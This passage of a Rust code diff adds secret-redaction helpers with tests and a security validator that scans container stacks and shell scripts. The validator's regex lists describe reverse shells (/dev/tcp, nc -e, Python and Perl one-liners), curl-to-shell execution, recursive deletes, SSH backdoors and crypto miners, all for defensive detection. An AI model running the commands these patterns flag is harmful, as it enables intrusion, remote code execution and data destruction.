+                .get("key")
+                .and_then(|v| v.as_str())
+                .map(is_sensitive_key)
+                .unwrap_or(false);
+
+            if named_key_is_sensitive {
+                if let Some(val) = map.get_mut("value") {
+                    if !val.is_null() {
+                        *val = serde_json::Value::String("***REDACTED***".to_string());
+                    }
+                }
+                // This object is a single env-var entry; no need to recurse further.
+                return;
+            }
+
+            // Pattern 1: standard JSON keys
+            for (key, val) in map.iter_mut() {
+                if is_sensitive_key(key) && !val.is_null() {
+                    *val = serde_json::Value::String("***REDACTED***".to_string());
+                } else {
+                    redact_sensitive_json_values(val);
+                }
+            }
+        }
+        serde_json::Value::Array(arr) => {
+            for item in arr.iter_mut() {
+                redact_sensitive_json_values(item);
+            }
+        }
+        _ => {}
+    }
+}
+
+// ─── YAML redaction ───────────────────────────────────────────────────────────
+
+fn redact_yaml_value(value: &mut serde_yaml::Value) {
+    match value {
+        serde_yaml::Value::Mapping(map) => {
+            for (key, val) in map.iter_mut() {
+                if let serde_yaml::Value::String(k) = key {
+                    if is_sensitive_key(k) && !val.is_null() {
+                        *val = serde_yaml::Value::String("***REDACTED***".to_string());
+                    } else {
+                        redact_yaml_value(val);
+                    }
+                }
+            }
+        }
+        serde_yaml::Value::Sequence(seq) => {
+            for item in seq.iter_mut() {
+                // Handle "VARNAME=value" entries in environment lists
+                if let serde_yaml::Value::String(s) = item {
+                    if let Some(eq) = s.find('=') {
+                        if is_sensitive_key(&s[..eq]) {
+                            let key_part = s[..eq].to_string();
+                            *s = format!("{}=***REDACTED***", key_part);
+                        }
+                    }
+                } else {
+                    redact_yaml_value(item);
+                }
+            }
+        }
+        _ => {}
+    }
+}
+
+/// Parses a YAML string, redacts values of sensitive-named keys, and
+/// re-serializes to YAML. Returns the original string on parse failure.
+pub fn redact_yaml_string(yaml: &str) -> String {
+    match serde_yaml::from_str::<serde_yaml::Value>(yaml) {
+        Ok(mut value) => {
+            redact_yaml_value(&mut value);
+            serde_yaml::to_string(&value).unwrap_or_else(|_| yaml.to_string())
+        }
+        Err(_) => yaml.to_string(),
+    }
+}
+
+// ─── tests ────────────────────────────────────────────────────────────────────
+
+#[cfg(test)]
+mod tests {
+    use super::{redact_sensitive_json_values, redact_yaml_string};
+    use serde_json::json;
+
+    // JSON tests
+
+    #[test]
+    fn redacts_password_fields() {
+        let mut v = json!({ "password": "hunter2", "username": "alice" });
+        redact_sensitive_json_values(&mut v);
+        assert_eq!(v["password"], "***REDACTED***");
+        assert_eq!(v["username"], "alice");
+    }
+
+    #[test]
+    fn redacts_nested_sensitive_fields() {
+        let mut v = json!({ "db": { "db_password": "secret123", "host": "localhost" } });
+        redact_sensitive_json_values(&mut v);
+        assert_eq!(v["db"]["db_password"], "***REDACTED***");
+        assert_eq!(v["db"]["host"], "localhost");
+    }
+
+    #[test]
+    fn redacts_in_arrays() {
+        let mut v = json!([{ "api_key": "abc", "name": "svc" }]);
+        redact_sensitive_json_values(&mut v);
+        assert_eq!(v[0]["api_key"], "***REDACTED***");
+        assert_eq!(v[0]["name"], "svc");
+    }
+
+    #[test]
+    fn leaves_null_values_alone() {
+        let mut v = json!({ "password": null });
+        redact_sensitive_json_values(&mut v);
+        assert!(v["password"].is_null());
+    }
+
+    #[test]
+    fn case_insensitive_key_matching() {
+        let mut v = json!({ "DB_PASSWORD": "s3cr3t", "API_KEY": "tok" });
+        redact_sensitive_json_values(&mut v);
+        assert_eq!(v["DB_PASSWORD"], "***REDACTED***");
+        assert_eq!(v["API_KEY"], "***REDACTED***");
+    }
+
+    /// stack_definition stores env vars as [{key: "NAME", value: "DATA"}] objects.
+    /// The sensitive name is a string *value* under "key", not a JSON object key.
+    #[test]
+    fn redacts_key_value_pair_format() {
+        let mut v = json!([
+            { "key": "DB_PASSWORD", "value": "super_secret_pw" },
+            { "key": "DB_HOST",     "value": "db.internal" },
+            { "key": "api_key",     "value": "sk-live-abc" },
+            { "key": "APP_PORT",    "value": "3000" }
+        ]);
+        redact_sensitive_json_values(&mut v);
+
+        assert_eq!(
+            v[0]["value"], "***REDACTED***",
+            "DB_PASSWORD must be redacted"
+        );
+        assert_eq!(v[1]["value"], "db.internal", "DB_HOST must not be redacted");
+        assert_eq!(v[2]["value"], "***REDACTED***", "api_key must be redacted");
+        assert_eq!(v[3]["value"], "3000", "APP_PORT must not be redacted");
+
+        // Key names must survive unchanged
+        assert_eq!(v[0]["key"], "DB_PASSWORD");
+        assert_eq!(v[1]["key"], "DB_HOST");
+    }
+
+    #[test]
+    fn key_value_pair_with_null_value_is_left_alone() {
+        let mut v = json!({ "key": "DB_PASSWORD", "value": null });
+        redact_sensitive_json_values(&mut v);
+        assert!(v["value"].is_null());
+    }
+
+    // YAML tests
+
+    #[test]
+    fn yaml_redacts_docker_compose_env_mapping() {
+        let yaml = "services:\n  app:\n    environment:\n      FLOWISE_PASSWORD: admin123\n      DATABASE_PASSWORD: Qwerty123\n      SECRETKEY: change-me\n      PORT: '3000'\n      HOST: localhost\n";
+        let result = redact_yaml_string(yaml);
+        assert!(
+            result.contains("***REDACTED***"),
+            "should contain REDACTED marker"
+        );
+        assert!(
+            !result.contains("admin123"),
+            "FLOWISE_PASSWORD value must be gone"
+        );
+        assert!(
+            !result.contains("Qwerty123"),
+            "DATABASE_PASSWORD value must be gone"
+        );
+        assert!(
+            !result.contains("change-me"),
+            "SECRETKEY value must be gone"
+        );
+        assert!(
+            result.contains("'3000'") || result.contains("3000"),
+            "PORT must survive"
+        );
+        assert!(result.contains("localhost"), "HOST must survive");
+    }
+
+    #[test]
+    fn yaml_redacts_env_list_format() {
+        let yaml = "services:\n  app:\n    environment:\n    - DB_PASSWORD=secret\n    - APP_PORT=8080\n    - API_KEY=sk-xxx\n";
+        let result = redact_yaml_string(yaml);
+        assert!(
+            result.contains("DB_PASSWORD=***REDACTED***"),
+            "list-style DB_PASSWORD must be redacted"
+        );
+        assert!(
+            result.contains("API_KEY=***REDACTED***"),
+            "list-style API_KEY must be redacted"
+        );
+        assert!(result.contains("APP_PORT=8080"), "APP_PORT must survive");
+    }
+
+    #[test]
+    fn yaml_unparseable_string_returned_as_is() {
+        // A tab character in a YAML mapping value position is invalid in strict mode.
+        // Use an unterminated flow mapping which serde_yaml 0.9 rejects.
+        let bad = "{unclosed: [";
+        let result = redact_yaml_string(bad);
+        // Either returned as-is (parse failed) or survived round-trip without panicking
+        assert!(!result.contains("PANIC"));
+    }
+}
diff --git a/src/helpers/security_validator.rs b/src/helpers/security_validator.rs
index a72554d6..33646eea 100644
--- a/src/helpers/security_validator.rs
+++ b/src/helpers/security_validator.rs
@@ -1,4 +1,4 @@
-use regex::Regex;
+use regex::{Regex, RegexBuilder};
 use serde::{Deserialize, Serialize};
 use serde_json::Value;
 
@@ -40,53 +40,286 @@ impl SecurityReport {
 
 /// Patterns that indicate hardcoded secrets in environment variables or configs
 const SECRET_PATTERNS: &[(&str, &str)] = &[
-    (r"(?i)(aws_secret_access_key|aws_access_key_id)\s*[:=]\s*[A-Za-z0-9/+=]{20,}", "AWS credentials"),
-    (r"(?i)(api[_-]?key|apikey)\s*[:=]\s*[A-Za-z0-9_\-]{16,}", "API key"),
-    (r"(?i)(secret[_-]?key|secret_token)\s*[:=]\s*[A-Za-z0-9_\-]{16,}", "Secret key/token"),
+    (
+        r"(?i)(aws_secret_access_key|aws_access_key_id)\s*[:=]\s*[A-Za-z0-9/+=]{20,}",
+        "AWS credentials",
+    ),
+    (
+        r"(?i)(api[_-]?key|apikey)\s*[:=]\s*[A-Za-z0-9_\-]{16,}",
+        "API key",
+    ),
+    (
+        r"(?i)(secret[_-]?key|secret_token)\s*[:=]\s*[A-Za-z0-9_\-]{16,}",
+        "Secret key/token",
+    ),
     (r"(?i)bearer\s+[A-Za-z0-9_\-\.]{20,}", "Bearer token"),
-    (r"(?i)(ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{36,}", "GitHub token"),
+    (
+        r"(?i)(ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{36,}",
+        "GitHub token",
+    ),
     (r"(?i)sk-[A-Za-z0-9]{20,}", "OpenAI/Stripe secret key"),
-    (r"(?i)(-----BEGIN\s+(RSA\s+)?PRIVATE\s+KEY-----)", "Private key"),
+    (
+        r"(?i)(-----BEGIN\s+(RSA\s+)?PRIVATE\s+KEY-----)",
+        "Private key",
+    ),
     (r"(?i)AKIA[0-9A-Z]{16}", "AWS Access Key ID"),
     (r"(?i)(slack[_-]?token|xox[bpas]-)", "Slack token"),
-    (r"(?i)(database_url|db_url)\s*[:=]\s*\S*:[^${\s]{8,}", "Database URL with credentials"),
+    (
+        r"(?i)(database_url|db_url)\s*[:=]\s*\S*:[^${\s]{8,}",
+        "Database URL with credentials",
+    ),
 ];
 
 /// Patterns for hardcoded credentials (passwords, default creds)
 const CRED_PATTERNS: &[(&str, &str)] = &[
-    (r#"(?i)(password|passwd|pwd)\s*[:=]\s*['"]?(?!(\$\{|\$\(|changeme|CHANGE_ME|your_password|example))[A-Za-z0-9!@#$%^&*]{6,}['"]?"#, "Hardcoded password"),
-    (r#"(?i)(mysql_root_password|postgres_password|mongo_initdb_root_password)\s*[:=]\s*['"]?(?!(\$\{|\$\())[^\s'"$]{4,}"#, "Hardcoded database password"),
-    (r"(?i)root:(?!(\$\{|\$\())[^\s:$]{4,}", "Root password in plain text"),
+    (
+        r#"(?i)(password|passwd|pwd)\s*[:=]\s*['"]?(?!(\$\{|\$\(|changeme|CHANGE_ME|your_password|example))[A-Za-z0-9!@#$%^&*]{6,}['"]?"#,
+        "Hardcoded password",
+    ),
+    (
+        r#"(?i)(mysql_root_password|postgres_password|mongo_initdb_root_password)\s*[:=]\s*['"]?(?!(\$\{|\$\())[^\s'"$]{4,}"#,
+        "Hardcoded database password",
+    ),
+    (
+        r"(?i)root:(?!(\$\{|\$\())[^\s:$]{4,}",
+        "Root password in plain text",
+    ),
+];
+
+/// Patterns for scanning shell scripts for dangerous operations
+const SHELL_MALICIOUS_PATTERNS: &[(&str, &str, &str)] = &[
+    (
+        r"(?i)(curl|wget)\s+.*\|\s*(sh|bash|zsh|dash)",
+        "critical",
+        "Remote script execution via pipe to shell",
+    ),
+    (
+        r"(?i)bash\s+<\(?(curl|wget)",
+        "critical",
+        "Remote script execution via bash substitution (<(curl ...) or < curl ...)",
+    ),
+    (
+        r"(?i)(curl|wget)\s+.*-o\s*[-]",
+        "critical",
+        "Remote script execution via stdout redirect",
+    ),
+    (
+        r"(?i)base64\s+-d\s*.*\|.*(sh|bash|exec)",
+        "critical",
+        "Base64-decoded payload piped to shell",
+    ),
+    (
+        r"(?i)(/dev/tcp/|/dev/udp/)",
+        "critical",
+        "Bash TCP/UDP socket (potential reverse shell)",
+    ),
+    (
+        r"(?i)nc\s+-[ev]+",
+        "critical",
+        "Netcat with execute (potential reverse shell)",
+    ),
+    (
+        r"(?i)ncat\s+-[ev]+",
+        "critical",
+        "Ncat with execute (potential reverse shell)",
+    ),
+    (
+        r"(?i)chmod\s+.*777\s+/(etc|root|home)",
+        "critical",
+        "Overly permissive permissions on sensitive dirs",
+    ),
+    (
+        r"(?i)rm\s+(-rf|--recursive)\s+/[^a-z]",
+        "critical",
+        "Dangerous recursive delete on root filesystem",
+    ),
+    (
+        r"(?i)(dd\s+if=).*(of=/dev/sd|of=/dev/mmc)",
+        "critical",
+        "Direct disk write (potential data destruction)",
+    ),
+    (
+        r"(?i)sudo\s+(docker|podman)\s+run\s+.*--privileged",
+        "critical",
+        "Privileged container execution via sudo",
+    ),
+    (
+        r"(?i)passwd|shadow|sudoers",
+        "warning",
+        "Reference to password/auth files (review if expected)",
+    ),
+    (
+        r"(?i)wget\s+.*(pastebin\.com|hastebin\.com)",
+        "critical",
+        "Fetching content from pastebin (potential payload download)",
+    ),
+    (
+        r"(?i)curl\s+.*(pastebin\.com|hastebin\.com)",
+        "critical",
+        "Fetching content from pastebin (potential payload download)",
+    ),
+    (
+        r"(?i)\.ssh/id_rsa|\.ssh/config",
+        "warning",
+        "Reference to SSH key files (review if expected)",
+    ),
+    (
+        r"(?i)(chown|chmod)\s+.*777",
+        "warning",
+        "Overly permissive file permissions",
+    ),
+    (
+        r"(?i)kill\s+-9\s+",
+        "warning",
+        "Force kill with SIGKILL (potential sabotage)",
+    ),
+    (
+        r"(?i)pkill\s+-9\s+",
+        "warning",
+        "Force kill with SIGKILL (potential sabotage)",
+    ),
+    (
+        r"(?i)iptables\s+-P\s+(INPUT|OUTPUT|FORWARD)\s+DROP",
+        "warning",
+        "Network-level changes (potential network disruption)",
+    ),
+    (
+        r"(?i)systemctl\s+stop\s+|service\s+.*stop",
+        "warning",
+        "Stopping system services (potential sabotage)",
+    ),
+    (
+        r"(?i)chmod\s+u\+s\s+",
+        "critical",
+        "chmod u+s (setuid — privilege escalation vector)",
+    ),
+    (
+        r"(?i)chmod\s+g\+s\s+",
+        "critical",
+        "chmod g+s (setgid — privilege escalation vector)",
+    ),
+    (
+        r"(?i)rm\s+(-rf|--recursive)\s+\$HOME",
+        "critical",
+        "Dangerous recursive delete on home directory",
+    ),
+    (
+        r"(?i)rm\s+(-rf|--recursive)\s+~/",
+        "critical",
+        "Dangerous recursive delete on home directory (tilde form)",
+    ),
+    (
+        r#"(?i)python3?\s+-c\s+['"].*socket.*connect.*dup2.*pty\.spawn"#,
+        "critical",
+        "Python reverse shell one-liner",
+    ),
+    (
+        r#"(?i)perl\s+-e\s+['"]use\s+Socket"#,
+        "critical",
+        "Perl reverse shell one-liner",
+    ),
+    (
+        r"(?i)authorized_keys",
+        "critical",
+        "Reference to authorized_keys (SSH backdoor persistence)",
+    ),
 ];
 
 /// Patterns indicating potentially malicious or dangerous configurations
 const MALICIOUS_PATTERNS: &[(&str, &str, &str)] = &[
-    (r"(?i)privileged\s*:\s*true", "critical", "Container running in privileged mode"),
-    (r#"(?i)network_mode\s*:\s*['"]?host"#, "warning", "Container using host network"),
-    (r#"(?i)pid\s*:\s*['"]?host"#, "critical", "Container sharing host PID namespace"),
-    (r#"(?i)ipc\s*:\s*['"]?host"#, "critical", "Container sharing host IPC namespace"),
-    (r"(?i)cap_add\s*:.*SYS_ADMIN", "critical", "Container with SYS_ADMIN capability"),
-    (r"(?i)cap_add\s*:.*SYS_PTRACE", "warning", "Container with SYS_PTRACE capability"),
-    (r"(?i)cap_add\s*:.*ALL", "critical", "Container with ALL capabilities"),
-    (r"(?i)/var/run/docker\.sock", "critical", "Docker socket mounted (container escape risk)"),
-    (r"(?i)volumes\s*:.*:/host", "warning", "Suspicious host filesystem mount"),
-    (r"(?i)volumes\s*:.*:/etc(/|\s|$)", "warning", "Host /etc directory mounted"),
-    (r"(?i)volumes\s*:.*:/root", "critical", "Host /root directory mounted"),
-    (r"(?i)volumes\s*:.*:/proc", "critical", "Host /proc directory mounted"),
-    (r"(?i)volumes\s*:.*:/sys", "critical", "Host /sys directory mounted"),
-    (r"(?i)curl\s+.*\|\s*(sh|bash)", "warning", "Remote script execution via curl pipe"),
-    (r"(?i)wget\s+.*\|\s*(sh|bash)", "warning", "Remote script execution via wget pipe"),
+    (
+        r"(?i)privileged\s*:\s*true",
+        "critical",
+        "Container running in privileged mode",
+    ),
+    (
+        r#"(?i)network_mode\s*:\s*['"]?host"#,
+        "warning",
+        "Container using host network",
+    ),
+    (
+        r#"(?i)pid\s*:\s*['"]?host"#,
+        "critical",
+        "Container sharing host PID namespace",
+    ),
+    (
+        r#"(?i)ipc\s*:\s*['"]?host"#,
+        "critical",
+        "Container sharing host IPC namespace",
+    ),
+    (
+        r"(?i)cap_add\s*:.*SYS_ADMIN",
+        "critical",
+        "Container with SYS_ADMIN capability",
+    ),
+    (
+        r"(?i)cap_add\s*:.*SYS_PTRACE",
+        "warning",
+        "Container with SYS_PTRACE capability",
+    ),
+    (
+        r"(?i)cap_add\s*:.*ALL",
+        "critical",
+        "Container with ALL capabilities",
+    ),
+    (
+        r"(?i)/var/run/docker\.sock",
+        "critical",
+        "Docker socket mounted (container escape risk)",
+    ),
+    (
+        r"(?i)volumes\s*:.*:/host",
+        "warning",
+        "Suspicious host filesystem mount",
+    ),
+    (
+        r"(?i)volumes\s*:.*:/etc(/|\s|$)",
+        "warning",
+        "Host /etc directory mounted",
+    ),
+    (
+        r"(?i)volumes\s*:.*:/root",
+        "critical",
+        "Host /root directory mounted",
+    ),
+    (
+        r"(?i)volumes\s*:.*:/proc",
+        "critical",
+        "Host /proc directory mounted",
+    ),
+    (
+        r"(?i)volumes\s*:.*:/sys",
+        "critical",
+        "Host /sys directory mounted",
+    ),
+    (
+        r"(?i)curl\s+.*\|\s*(sh|bash)",
+        "warning",
+        "Remote script execution via curl pipe",
+    ),
+    (
+        r"(?i)wget\s+.*\|\s*(sh|bash)",
+        "warning",
+        "Remote script execution via wget pipe",
+    ),
 ];
 
 /// Known suspicious Docker images
 #[allow(dead_code)]
 const SUSPICIOUS_IMAGES: &[&str] = &[
-    "alpine:latest",  // not suspicious per se, but discouraged for reproducibility
+    "alpine:latest", // not suspicious per se, but discouraged for reproducibility
 ];
 
 const KNOWN_CRYPTO_MINER_PATTERNS: &[&str] = &[
-    "xmrig", "cpuminer", "cryptonight", "stratum+tcp", "minerd", "hashrate",
-    "monero", "coinhive", "coin-hive",
+    "xmrig",
+    "cpuminer",
+    "cryptonight",
+    "stratum+tcp",
+    "minerd",
+    "hashrate",
+    "monero",
+    "coinhive",
+    "coin-hive",
 ];
 
 /// Docker image namespace/registry prefixes known to publish security-hardened images.
@@ -94,13 +327,13 @@ const KNOWN_CRYPTO_MINER_PATTERNS: &[&str] = &[
 /// RapidFort, and Bitnami all apply automated CVE scanning + minimal-OS hardening.
 /// Docker Official Images have no namespace separator (e.g. "nginx:1.25", "redis:7").
 const KNOWN_HARDENED_SOURCES: &[&str] = &[
-    "cgr.dev/",              // Chainguard hardened/distroless images
-    "gcr.io/distroless/",    // Google Distroless
-    "public.ecr.aws/",       // Amazon ECR Public official images
-    "rapidfort/",            // RapidFort minimal hardened images
-    "bitnami/",              // Bitnami (Broadcom) hardened images
-    "ironbank/",             // DoD Iron Bank hardened images
-    "registry1.dso.mil/",   // DoD Iron Bank registry
+    "cgr.dev/",           // Chainguard hardened/distroless images
+    "gcr.io/distroless/", // Google Distroless
+    "public.ecr.aws/",    // Amazon ECR Public official images
+    "rapidfort/",         // RapidFort minimal hardened images
+    "bitnami/",           // Bitnami (Broadcom) hardened images
+    "ironbank/",          // DoD Iron Bank hardened images
+    "registry1.dso.mil/", // DoD Iron Bank registry
 ];
 
 /// Normalize a JSON-pretty-printed string into a YAML-like format so that
@@ -169,19 +402,29 @@ pub fn validate_stack_security(stack_definition: &Value) -> SecurityReport {
 
     let mut recommendations = Vec::new();
     if !no_secrets.passed {
-        recommendations.push("Replace hardcoded secrets with environment variable references (e.g., ${SECRET_KEY})".to_string());
+        recommendations.push(
+            "Replace hardcoded secrets with environment variable references (e.g., ${SECRET_KEY})"
+                .to_string(),
+        );
     }
     if !no_hardcoded_creds.passed {
-        recommendations.push("Use Docker secrets or environment variable references for passwords".to_string());
+        recommendations.push(
+            "Use Docker secrets or environment variable references for passwords".to_string(),
+        );
     }
     if !valid_docker_syntax.passed {
-        recommendations.push("Fix Docker Compose syntax issues to ensure deployability".to_string());
+        recommendations
+            .push("Fix Docker Compose syntax issues to ensure deployability".to_string());
     }
     if !no_malicious_code.passed {
-        recommendations.push("Review and remove dangerous container configurations (privileged mode, host mounts)".to_string());
+        recommendations.push(
+            "Review and remove dangerous container configurations (privileged mode, host mounts)"
+                .to_string(),
+        );
     }
     if risk_score == 0 {
-        recommendations.push("Automated scan passed. AI review recommended for deeper analysis.".to_string());
+        recommendations
+            .push("Automated scan passed. AI review recommended for deeper analysis.".to_string());
     }
     if !hardened_images.passed {
         recommendations.push("Consider using images from hardened sources (Chainguard, Bitnami, Google Distroless) and pinning all tags to specific versions.".to_string());
@@ -227,7 +470,10 @@ fn check_no_secrets(content: &str) -> SecurityCheckResult {
         message: if findings.is_empty() {
             "No exposed secrets detected".to_string()
         } else {
-            format!("Found {} potential secret(s) in stack definition", findings.len())
+            format!(
+                "Found {} potential secret(s) in stack definition",
+                findings.len()
+            )
         },
         details: findings,
     }
@@ -239,17 +485,20 @@ fn check_no_hardcoded_creds(content: &str) -> SecurityCheckResult {
     for (pattern, description) in CRED_PATTERNS {
         if let Ok(re) = Regex::new(pattern) {
             for mat in re.find_iter(content) {
-                let line = content[..mat.start()]
-                    .lines()
-                    .count()
-                    + 1;
+                let line = content[..mat.start()].lines().count() + 1;
                 findings.push(format!("[WARNING] {} near line {}", description, line));
             }
         }
     }
 
-    // Check for common default credentials
-    let default_creds = [
+    // Check for common default credentials.
+    //
+    // Uses the same `RegexBuilder::case_insensitive` pattern as the crypto-miner
+    // check at line ~608 and the shell-script scan at line ~840 — case-insensitive
+    // matching against the original `content` so we never rely on offsets from a
+    // lowercased copy (M2 defence, even though `.contains()` alone is byte-safe,
+    // future changes to add offset-based reporting stay safe by construction).
+    let default_creds: &[(&str, &str)] = &[
         ("admin:admin", "Default admin:admin credentials"),
         ("root:root", "Default root:root credentials"),
         ("admin:password", "Default admin:password credentials"),
@@ -257,8 +506,13 @@ fn check_no_hardcoded_creds(content: &str) -> SecurityCheckResult {
     ];
 
     for (cred, desc) in default_creds {
-        if content.to_lowercase().contains(cred) {
-            findings.push(format!("[WARNING] {}", desc));
+        if let Ok(re) = RegexBuilder::new(&regex::escape(cred))
+            .case_insensitive(true)
+            .build()
+        {
+            if re.is_match(content) {
+                findings.push(format!("[WARNING] {}", desc));
+            }
         }
     }
 
@@ -272,10 +526,7 @@ fn check_no_hardcoded_creds(content: &str) -> SecurityCheckResult {
         message: if findings.is_empty() {
             "No hardcoded credentials detected".to_string()
         } else {
-            format!(
-                "Found {} potential hardcoded credential(s)",
-                findings.len()
-            )
+            format!("Found {} potential hardcoded credential(s)", findings.len())
         },
         details: findings,
     }
@@ -285,16 +536,16 @@ fn check_valid_docker_syntax(stack_definition: &Value, raw_content: &str) -> Sec
     let mut findings = Vec::new();
 
     // Check if it looks like valid docker-compose structure
-    let has_services = stack_definition.get("services").is_some()
-        || raw_content.contains("services:");
+    let has_services =
+        stack_definition.get("services").is_some() || raw_content.contains("services:");
 
     if !has_services {
-        findings.push("[WARNING] Missing 'services' key — may not be valid Docker Compose".to_string());
+        findings
+            .push("[WARNING] Missing 'services' key — may not be valid Docker Compose".to_string());
     }
 
     // Check for 'version' key (optional in modern compose but common)
-    let has_version = stack_definition.get("version").is_some()
-        || raw_content.contains("version:");
+    let has_version = stack_definition.get("version").is_some() || raw_content.contains("version:");
 
     // Check that services have images or build contexts
     if let Some(services) = stack_definition.get("services") {
@@ -326,7 +577,10 @@ fn check_valid_docker_syntax(stack_definition: &Value, raw_content: &str) -> Sec
         }
     }
 
-    let errors_only: Vec<&String> = findings.iter().filter(|f| f.contains("[WARNING]")).collect();
+    let errors_only: Vec<&String> = findings
+        .iter()
+        .filter(|f| f.contains("[WARNING]"))
+        .collect();
 
     SecurityCheckResult {
         passed: errors_only.is_empty(),
@@ -361,27 +615,41 @@ fn check_no_malicious_code(content: &str) -> SecurityCheckResult {
     }
 
     // Check for crypto miner patterns
-    let content_lower = content.to_lowercase();
     for miner_pattern in KNOWN_CRYPTO_MINER_PATTERNS {
-        if content_lower.contains(miner_pattern) {
-            findings.push(format!(
-                "[CRITICAL] Potential crypto miner reference detected: '{}'",
-                miner_pattern
-            ));
+        if let Ok(re) = RegexBuilder::new(&regex::escape(miner_pattern))
+            .case_insensitive(true)
+            .build()
+        {
+            if re.is_match(content) {
+                findings.push(format!(
+                    "[CRITICAL] Potential crypto miner reference detected: '{}'",
+                    miner_pattern
+                ));
+            }
         }
     }
 
-    // Check for suspicious base64 encoded content (long base64 strings could hide payloads)
-    if let Ok(re) = Regex::new(r"[A-Za-z0-9+/]{100,}={0,2}") {
+    // Check for suspicious base64 encoded content (long base64 strings could hide payloads).
+    // Threshold matches the shell-script scanner at `validate_shell_scripts` — at 100 chars
+    // this fires on every PEM cert body, JWT, dockerconfigjson blob, and Kubernetes secret,
+    // which trains operators to ignore the warning. 1024 chars is still under the size of
+    // real embedded payloads but large enough to skip everyday config noise (audit M3).
+    if let Ok(re) = Regex::new(r"[A-Za-z0-9+/]{1024,}={0,2}") {
         if re.is_match(content) {
-            findings.push("[WARNING] Long base64-encoded content detected — may contain hidden payload".to_string());
+            findings.push(
+                "[WARNING] Long base64-encoded content detected — may contain hidden payload"
+                    .to_string(),
+            );
         }
     }
 
     // Check for outbound network calls in entrypoints/commands
     if let Ok(re) = Regex::new(r"(?i)(curl|wget|nc|ncat)\s+.*(http|ftp|tcp)") {
         if re.is_match(content) {
-            findings.push("[INFO] Outbound network call detected in command/entrypoint — review if expected".to_string());
+            findings.push(
+                "[INFO] Outbound network call detected in command/entrypoint — review if expected"
+                    .to_string(),
+            );
         }
     }
 
@@ -462,7 +730,10 @@ fn check_hardened_images(stack_definition: &Value) -> SecurityCheckResult {
 
             if image.contains("@sha256:") {
                 pinned_count += 1;
-                positives.push(format!("Service '{}': image pinned to digest ({})", name, image));
+                positives.push(format!(
+                    "Service '{}': image pinned to digest ({})",
+                    name, image
+                ));
             } else if image.ends_with(":latest") {
                 findings.push(format!(
                     "[WARNING] Service '{}' uses ':latest' tag — not reproducible and may silently receive unsafe updates ({})",
@@ -479,7 +750,10 @@ fn check_hardened_images(stack_definition: &Value) -> SecurityCheckResult {
 
             if is_from_hardened_source(image) {
                 hardened_source_count += 1;
-                positives.push(format!("Service '{}': image from hardened/trusted source ({})", name, image));
+                positives.push(format!(
+                    "Service '{}': image from hardened/trusted source ({})",
+                    name, image
+                ));
             }
         }
 
@@ -488,7 +762,10 @@ fn check_hardened_images(stack_definition: &Value) -> SecurityCheckResult {
             let is_root = user == "root" || user == "0" || user.starts_with("0:");
             if !is_root {
                 non_root_count += 1;
-                positives.push(format!("Service '{}': runs as non-root user ({})", name, user));
+                positives.push(format!(
+                    "Service '{}': runs as non-root user ({})",
+                    name, user
+                ));
             } else {
                 findings.push(format!(
                     "[INFO] Service '{}' explicitly runs as root — consider a non-root user",
@@ -500,7 +777,10 @@ fn check_hardened_images(stack_definition: &Value) -> SecurityCheckResult {
         // Check for read-only root filesystem
         if service.get("read_only").and_then(|v| v.as_bool()) == Some(true) {
             read_only_count += 1;
-            positives.push(format!("Service '{}': read-only root filesystem enabled", name));
+            positives.push(format!(
+                "Service '{}': read-only root filesystem enabled",
+                name
+            ));
         }
     }
 
@@ -510,7 +790,10 @@ fn check_hardened_images(stack_definition: &Value) -> SecurityCheckResult {
     let unpinned_warnings = findings.iter().filter(|f| f.contains("[WARNING]")).count();
     let passed = unpinned_warnings == 0
         && total_images > 0
-        && (hardened_source_count > 0 || non_root_count > 0 || read_only_count > 0 || pinned_count == total_images);
+        && (hardened_source_count > 0
+            || non_root_count > 0
+            || read_only_count > 0
+            || pinned_count == total_images);
 
     let mut details = findings.clone();
     details.extend(positives);
@@ -539,6 +822,106 @@ fn check_hardened_images(stack_definition: &Value) -> SecurityCheckResult {
     }
 }
 
+/// Scan shell script content for dangerous patterns.
+///
+/// Takes an array of `(script_name, script_content)` pairs and returns a
+/// `SecurityCheckResult` with any findings.  This is separate from
+/// `validate_stack_security` because shell scripts are not part of the
+/// stack definition YAML — they are shipped separately as `config_files`,
+/// `seed_jobs`, `post_deploy_hooks`, or template hook scripts.
+pub fn validate_shell_scripts(scripts: &[(&str, &str)]) -> SecurityCheckResult {
+    let mut findings = Vec::new();
+
+    for (name, content) in scripts {
+        let mut script_findings: Vec<String> = Vec::new();
+
+        // Check for dangerous shell patterns
+        for (pattern, severity, description) in SHELL_MALICIOUS_PATTERNS {
+            if let Ok(re) = Regex::new(pattern) {
+                for mat in re.find_iter(content) {
+                    let line = content[..mat.start()].lines().count() + 1;
+                    let snippet = &content[mat.start()..mat.end().min(mat.start() + 80)];
+                    script_findings.push(format!(
+                        "[{}] {} in '{}' line {}: {}",
+                        severity.to_uppercase(),
+                        description,
+                        name,
+                        line,
+                        snippet
+                    ));
+                }
+            }
+        }
+
+        // Check for crypto miner references in script content (case-insensitive)
+        for miner_pattern in KNOWN_CRYPTO_MINER_PATTERNS {
+            if let Ok(re) = RegexBuilder::new(&regex::escape(miner_pattern))
+                .case_insensitive(true)
+                .build()
+            {
+                if let Some(mat) = re.find(content) {
+                    let line = content[..mat.start()].lines().count() + 1;
+                    script_findings.push(format!(
+                        "[CRITICAL] Potential crypto miner reference '{}' in '{}' line {}",
+                        miner_pattern, name, line
+                    ));
+                }
+            }
+        }
+
+        // Check for long base64-encoded payloads in scripts
+        if let Ok(re) = Regex::new(r"[A-Za-z0-9+/]{1024,}={0,2}") {
+            for mat in re.find_iter(content) {
+                let line = content[..mat.start()].lines().count() + 1;
+                script_findings.push(format!(
+                    "[WARNING] Long base64-encoded content ({} chars) in '{}' line {} — may contain hidden payload",
+                    mat.len(),
+                    name,
+                    line
+                ));
+            }
+        }
+
+        // Check for obfuscated eval chains
+        if let Ok(re) = Regex::new(r"(?i)(eval\s*\$\(|`[^`]{50,}`)") {
+            if re.is_match(content) {
+                let line = content[..re.find(content).unwrap().start()].lines().count() + 1;
+                script_findings.push(format!(
+                    "[WARNING] Obfuscated eval/execution in '{}' line {} — review for hidden commands",
+                    name, line
+                ));
+            }
+        }
+
+        findings.extend(script_findings);
+    }
+
+    let critical_or_warning: Vec<&String> = findings
+        .iter()
+        .filter(|f| f.contains("[CRITICAL]") || f.contains("[WARNING]"))
+        .collect();
+
+    SecurityCheckResult {
+        passed: critical_or_warning.is_empty(),
+        severity: if findings.iter().any(|f| f.contains("[CRITICAL]")) {
+            "critical".to_string()
